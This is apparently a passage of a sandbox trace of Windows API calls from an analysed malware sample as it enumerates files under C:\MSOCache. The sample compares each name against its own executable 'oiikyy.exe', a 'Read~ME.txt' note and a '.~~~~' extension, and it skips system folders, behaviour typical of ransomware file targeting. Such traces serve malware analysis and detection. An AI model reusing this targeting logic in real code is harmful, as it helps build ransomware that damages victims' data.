	[0064.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0064.942] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0064.942] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0064.942] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0064.942] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0064.942] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0064.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ec68
	[0064.942] GetCurrentThreadId () returned 0x618
	[0064.942] GetCurrentThreadId () returned 0x618
	[0064.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa900
	[0064.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a3028
	[0064.942] RtlWakeConditionVariable () returned 0x365f48
	[0064.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0064.942] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0064.943] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0064.943] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0064.943] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0064.943] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0064.943] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0064.943] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0064.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ec68
	[0064.943] GetCurrentThreadId () returned 0x618
	[0064.943] GetCurrentThreadId () returned 0x618
	[0064.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa938
	[0064.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a30c0
	[0064.943] RtlWakeConditionVariable () returned 0x365f48
	[0064.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0064.943] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1
	[0064.943] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="Windows") returned -1
	[0064.943] lstrcmpW (lpString1="GrooveLR.cab", lpString2="oiikyy.exe") returned -1
	[0064.943] StrStrW (lpFirst="GrooveLR.cab", lpSrch=".~~~~") returned 0x0
	[0064.943] lstrcmpW (lpString1="GrooveLR.cab", lpString2="Read~ME.txt") returned -1
	[0064.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.943] GetCurrentThreadId () returned 0x618
	[0064.943] GetCurrentThreadId () returned 0x618
	[0064.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa970
	[0064.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0064.944] RtlWakeConditionVariable () returned 0x365f48
	[0064.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.944] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1
	[0064.944] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="Windows") returned -1
	[0064.944] lstrcmpW (lpString1="GrooveMUI.msi", lpString2="oiikyy.exe") returned -1
	[0064.944] StrStrW (lpFirst="GrooveMUI.msi", lpSrch=".~~~~") returned 0x0
	[0064.944] lstrcmpW (lpString1="GrooveMUI.msi", lpString2="Read~ME.txt") returned -1
	[0064.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0064.944] GetCurrentThreadId () returned 0x618
	[0064.944] GetCurrentThreadId () returned 0x618
	[0064.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa9a8
	[0064.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4550
	[0064.944] RtlWakeConditionVariable () returned 0x365f48
	[0064.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0064.944] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1
	[0064.944] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="Windows") returned -1
	[0064.944] lstrcmpW (lpString1="GrooveMUI.xml", lpString2="oiikyy.exe") returned -1
	[0064.944] StrStrW (lpFirst="GrooveMUI.xml", lpSrch=".~~~~") returned 0x0
	[0064.944] lstrcmpW (lpString1="GrooveMUI.xml", lpString2="Read~ME.txt") returned -1
	[0064.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0064.944] GetCurrentThreadId () returned 0x618
	[0064.944] GetCurrentThreadId () returned 0x618
	[0064.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa9e0
	[0064.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4608
	[0064.944] RtlWakeConditionVariable () returned 0x365f48
	[0064.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0064.944] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0064.944] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1
	[0064.944] lstrcmpW (lpString1="Setup.xml", lpString2="oiikyy.exe") returned 1
	[0064.944] StrStrW (lpFirst="Setup.xml", lpSrch=".~~~~") returned 0x0
	[0064.945] lstrcmpW (lpString1="Setup.xml", lpString2="Read~ME.txt") returned 1
	[0064.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.945] GetCurrentThreadId () returned 0x618
	[0064.945] GetCurrentThreadId () returned 0x618
	[0064.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27faa18
	[0064.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7cd8
	[0064.945] RtlWakeConditionVariable () returned 0x365f48
	[0064.945] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.945] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0064.945] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0064.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.946] GetCurrentThreadId () returned 0x618
	[0064.946] GetCurrentThreadId () returned 0x618
	[0064.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27faa50
	[0064.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0064.946] RtlWakeConditionVariable () returned 0x365f48
	[0064.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea520 | out: hHeap=0x300000) returned 1
	[0064.946] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1
	[0064.947] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1
	[0064.947] lstrcmpW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1
	[0064.947] lstrcmpW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1
	[0064.947] lstrcmpW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="AppData") returned -1
	[0064.947] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C", lpSrch="AppData") returned 0x0
	[0064.947] lstrlenW (lpString="C:\\Windows") returned 10
	[0064.947] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="C:\\Windows") returned -1
	[0064.947] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0064.947] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="C:\\System Volume Information") returned -1
	[0064.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3ea520
	[0064.947] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0064.949] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0064.949] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0064.949] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0064.949] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0064.949] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0064.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0064.949] GetCurrentThreadId () returned 0x618
	[0064.949] GetCurrentThreadId () returned 0x618
	[0064.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27faa88
	[0064.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a72f8
	[0064.949] RtlWakeConditionVariable () returned 0x365f48
	[0064.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7260 | out: hHeap=0x300000) returned 1
	[0064.950] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0064.950] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0064.950] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0064.950] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0064.950] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0064.950] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0064.950] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0064.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0064.950] GetCurrentThreadId () returned 0x618
	[0064.950] GetCurrentThreadId () returned 0x618
	[0064.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27faac0
	[0064.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7390
	[0064.950] RtlWakeConditionVariable () returned 0x365f48
	[0064.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7260 | out: hHeap=0x300000) returned 1
	[0064.950] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0064.950] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1
	[0064.950] lstrcmpW (lpString1="1033", lpString2=".") returned 1
	[0064.950] lstrcmpW (lpString1="1033", lpString2="..") returned 1
	[0064.950] lstrcmpW (lpString1="1033", lpString2="AppData") returned -1
	[0064.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033", lpSrch="AppData") returned 0x0
	[0064.950] lstrlenW (lpString="C:\\Windows") returned 10
	[0064.950] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033", lpString2="C:\\Windows") returned -1
	[0064.951] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0064.951] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033", lpString2="C:\\System Volume Information") returned -1
	[0064.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27e0048
	[0064.951] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0064.952] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0064.952] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0064.952] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0064.952] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0064.952] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0064.952] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0064.952] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0064.952] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0064.952] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0064.952] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0064.952] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0064.952] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0064.952] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1
	[0064.952] lstrcmpiW (lpString1="dwintl20.dll", lpString2="Windows") returned -1
	[0064.952] lstrcmpW (lpString1="dwintl20.dll", lpString2="oiikyy.exe") returned -1
	[0064.952] StrStrW (lpFirst="dwintl20.dll", lpSrch=".~~~~") returned 0x0
	[0064.952] lstrcmpW (lpString1="dwintl20.dll", lpString2="Read~ME.txt") returned -1
	[0064.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0064.953] GetCurrentThreadId () returned 0x618
	[0064.953] GetCurrentThreadId () returned 0x618
	[0064.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27faaf8
	[0064.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a46c0
	[0064.953] RtlWakeConditionVariable () returned 0x365f48
	[0064.953] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0064.953] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0
	[0064.953] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0064.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0064.953] GetCurrentThreadId () returned 0x618
	[0064.953] GetCurrentThreadId () returned 0x618
	[0064.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fab30
	[0064.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4778
	[0064.953] RtlWakeConditionVariable () returned 0x365f48
	[0064.953] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0064.953] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27e0048 | out: hHeap=0x300000) returned 1
	[0064.953] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1
	[0064.953] lstrcmpiW (lpString1="branding.xml", lpString2="Windows") returned -1
	[0064.953] lstrcmpW (lpString1="branding.xml", lpString2="oiikyy.exe") returned -1
	[0064.953] StrStrW (lpFirst="branding.xml", lpSrch=".~~~~") returned 0x0
	[0064.953] lstrcmpW (lpString1="branding.xml", lpString2="Read~ME.txt") returned -1
	[0064.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.953] GetCurrentThreadId () returned 0x618
	[0064.953] GetCurrentThreadId () returned 0x618
	[0064.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fab68
	[0064.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7e28
	[0064.954] RtlWakeConditionVariable () returned 0x365f48
	[0064.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.954] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1
	[0064.954] lstrcmpiW (lpString1="DW20.EXE", lpString2="Windows") returned -1
	[0064.954] lstrcmpW (lpString1="DW20.EXE", lpString2="oiikyy.exe") returned -1
	[0064.954] StrStrW (lpFirst="DW20.EXE", lpSrch=".~~~~") returned 0x0
	[0064.954] lstrcmpW (lpString1="DW20.EXE", lpString2="Read~ME.txt") returned -1
	[0064.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.954] GetCurrentThreadId () returned 0x618
	[0064.954] GetCurrentThreadId () returned 0x618
	[0064.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27faba0
	[0064.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7ed0
	[0064.954] RtlWakeConditionVariable () returned 0x365f48
	[0064.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.954] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1
	[0064.954] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="Windows") returned -1
	[0064.954] lstrcmpW (lpString1="dwdcw20.dll", lpString2="oiikyy.exe") returned -1
	[0064.954] StrStrW (lpFirst="dwdcw20.dll", lpSrch=".~~~~") returned 0x0
	[0064.954] lstrcmpW (lpString1="dwdcw20.dll", lpString2="Read~ME.txt") returned -1
	[0064.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.954] GetCurrentThreadId () returned 0x618
	[0064.954] GetCurrentThreadId () returned 0x618
	[0064.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fabd8
	[0064.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7f78
	[0064.954] RtlWakeConditionVariable () returned 0x365f48
	[0064.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.955] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1
	[0064.955] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="Windows") returned -1
	[0064.955] lstrcmpW (lpString1="dwtrig20.exe", lpString2="oiikyy.exe") returned -1
	[0064.955] StrStrW (lpFirst="dwtrig20.exe", lpSrch=".~~~~") returned 0x0
	[0064.955] lstrcmpW (lpString1="dwtrig20.exe", lpString2="Read~ME.txt") returned -1
	[0064.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.955] GetCurrentThreadId () returned 0x618
	[0064.955] GetCurrentThreadId () returned 0x618
	[0064.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fac10
	[0064.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8020
	[0064.955] RtlWakeConditionVariable () returned 0x365f48
